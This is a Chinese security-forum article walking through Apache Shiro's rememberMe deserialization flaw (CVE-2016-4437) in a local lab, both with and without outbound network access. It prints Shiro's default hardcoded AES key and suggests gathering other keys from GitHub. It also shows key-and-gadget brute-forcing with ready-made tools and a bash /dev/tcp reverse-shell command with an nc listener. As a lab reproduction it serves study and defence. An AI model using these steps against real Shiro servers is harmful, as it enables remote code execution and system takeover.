问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
服务攻防-shiro框架原理分析到不出网环境利用
漏洞分析
apache shiro 是企业常见的java安全框架,执行身份验证、授权、密码和回话管理。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
一、 shiro简介 ---------- ### 1、shiro简述 维基百科 ```php https://zh.wikipedia.org/wiki/Apache_Shiro ``` apache shiro 是企业常见的java安全框架,执行身份验证、授权、密码和回话管理。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。 ### 2、shiro漏洞原理 Apache shiro框架提供了记住我的功能(Rememberme),用户登录成功后生成经过加密并编码的cookie。cookie的key为rememberme,cookie的值是经过对相关的信息进行序列化,然后实用aes加密,最后在使用b ase64编码处理形成的。 在服务端接收到cookie值时,按照如下步骤来解析处理: ```php 1、检索RememberMe cooike的值 2、b ase 64解码 3、使用aes解密(加密秘钥硬编码) 4、进行反序列化操作(未做过过滤处理) 在调用反序列化时未进行任何过滤,导致可以出发远程代码执行漏洞 ``` ### 3、shire序列化利用条件 由于使用了aes加密,想要成功利用漏洞则需要获取ase的加密秘钥,而在shiro的1.2.4之前的版本中使用的硬编码。其中默认秘钥的b ase64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后欧威cooike加密发送,服务端接受后会解密并触发反序列化漏洞。 尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决方法,而是通过去掉硬编码的秘钥,使其每次生成一个密码来解决给漏洞。但是目前一些开源系统、教程范例代码都使用了固定的编码,这里可以通过搜索引擎,github等来收集秘钥,通过漏洞检查与利用的成功率。 ### 4、shiro漏洞指纹 ```php 返回包中存在set-cooike:rememberme=deleteme 或者url中有shiro字样 有时候服务器不会主动返回remember=deleteme,直接发包即可 ``` 二、本地搭建 ------ ### 1、环境下载 ```php https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4 ```  ### 2、环境安装 #### 1、安装java 因为运行tomcat需要java环境  #### 2、 安装tomcat 安装tomcat8.5   #### 3、部署shiro 将shiro.war包上传到tomcat/webapps目录下,过几秒钟war包自动解析部署  注:如未出现shiro目录,需运行tomcat/bin目录下的tomcat8.exe,来部署shiro.war包  访问测试 ```php http://127.0.0.1:8080/shiro/ ```  ```php http://127.0.0.1:8080/shiro/login.jsp;jsessionid=79060778CC3F315FCB6D43787575B30E ```  三、shiro漏洞复现 ----------- ### 1、Linux 出网环境渗透shiro反序列化漏洞 CVE-2016-4437(Apache shiro 反序列化漏洞) #### 1)漏洞描述 Apache shiro 是个java安全框架,执行身份验证、授权、密码和会话管理。只要rememberme的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。 #### 2)漏洞原理 Apache shiro框架提供了记住我(RememberMe)的功能,关闭浏览器下次在打开还能记住你是谁。下次访问是无需登录即可即访问。shiro对rememberme的cooike最了加密处理。shiro在cooikeremembermemanager类中将cookie中rememberme字段内容分别做了反序列化、aes加密、b ase64编码操作。 **原因分析:** Apache shiro默认使用cookie remembermemanager,其处理cooike的流程是:得到rememberme的cooike值>b ase64解码>ase解码>反序列化。然而ase的苗药是硬编码的,就是导致攻击者可以构造恶意数据造成反序列化的RCE漏洞。 漏洞特征: shiro反序列化的特征:在返回包中set-cooike中存在rememberme=deleteme #### 3) 影响版本 影响shiro<1.2.5版本,当未设置用于“remember me"特性的ase秘钥时,存在反序列化漏洞。可以远程执行命令。 #### 4)漏洞启动 (1)使用vulhub,开启shiro/CVE-2016-4437漏洞 ```php cd /root/vulhub-master/shiro/CVE-2016-4437 sudo docker-compose up -d ```  (2)验证是否开启 ```php sudo docker ps ```  #### 5)漏洞复现 (1)访问靶机 ```php http://192.168.200.128:8080/ ``` (2)确认网站是shiro搭建的 抓包  抓包后将cooike内容改为Remember Me=1,若响应包rememberMe=deleteMe,则基本可以确定网站是apache shiro搭建,效果如下图:  (3)直接运行找key(使用shiro\_attack-1.5工具)    成功利用shiro秘钥,远程执行了命令,获得了root权限 ### 2、Linux不出网环境渗透shiro反序列化漏洞 #### 1)搭建环境 ```php #从镜像仓库中拉取或者更新指定镜像 docker pull medicean/vulapps:s_shiro_1 #创建一个新的容器并运行一个命令 docker run -d -p 8888:8080 medicean/vulapps:s_shiro_1 -d: 后台运行容器,并返回容器ID; -P: 随机端口映射,容器内部端口随机映射到主机的端口 -p 8888:8080:将shiro环境的8080端口映射到了主机的8888端口 ```   #### 2)验证搭建环境 ```php http://192.168.200.128:8888/ ```   搭建成功 #### 3) 抓包分析remember Me  抓包后将cooike内容改为Remember Me=1,若响应包rememberMe=deleteMe,则基本可以确定网站是apache shiro搭建  #### 4) 不出网攻击shiro(使用shiro-1.2.4-rce脚本测试shiro漏洞) 1)需要使用python3进行执行  2)分析shiro-rce脚本  判断逻辑,修改了源码的ysoserial-sleep.jar,主要对应延迟5的应用,然后去循环key和gadget,如果某个key和gadget组合机器延迟命令success生效了,就是存在的,还区别两个判断,linux和windows,最后在写入shell后还对发送命令进行了b ase64进行编译之后发送。 3)开始进行验证攻击测试 ```php python3 shiro-1.2.4_rce.py hhttp://192.168.200.128:8888/ ```   输入linux系统获得shell 6)反弹一个shell ```php 攻击方:nc -lvp 4444 上面脚本获得的shell中执行:bash -i >& /dev/tcp/192.168.200.129/4444 0>&1 ```  反弹shell成功 四、总结 ---- 1、首先对shiro反序列化漏洞原理进行分析,Apache shiro框架提供了记住Rememberme,用户登录成功后生成经过加密并编码的cookie。cookie的key为rememberme,cookie的值是经过对相关的信息进行序列化,然后实用aes加密,最后在使用b ase64编码处理形成的。 2、其次部署安装jdk、tomcat、shiro环境进行部署。 3、可以访问互联网情况下,利用DNSLOG进行,测试shiro key;不可以访问互联网情况下,循环key和gadget组合机器延迟命令,success生效了,就是存在的。 结束~
发表于 2021-08-17 20:25:02
阅读 ( 8332 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
嗯嗯呐
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!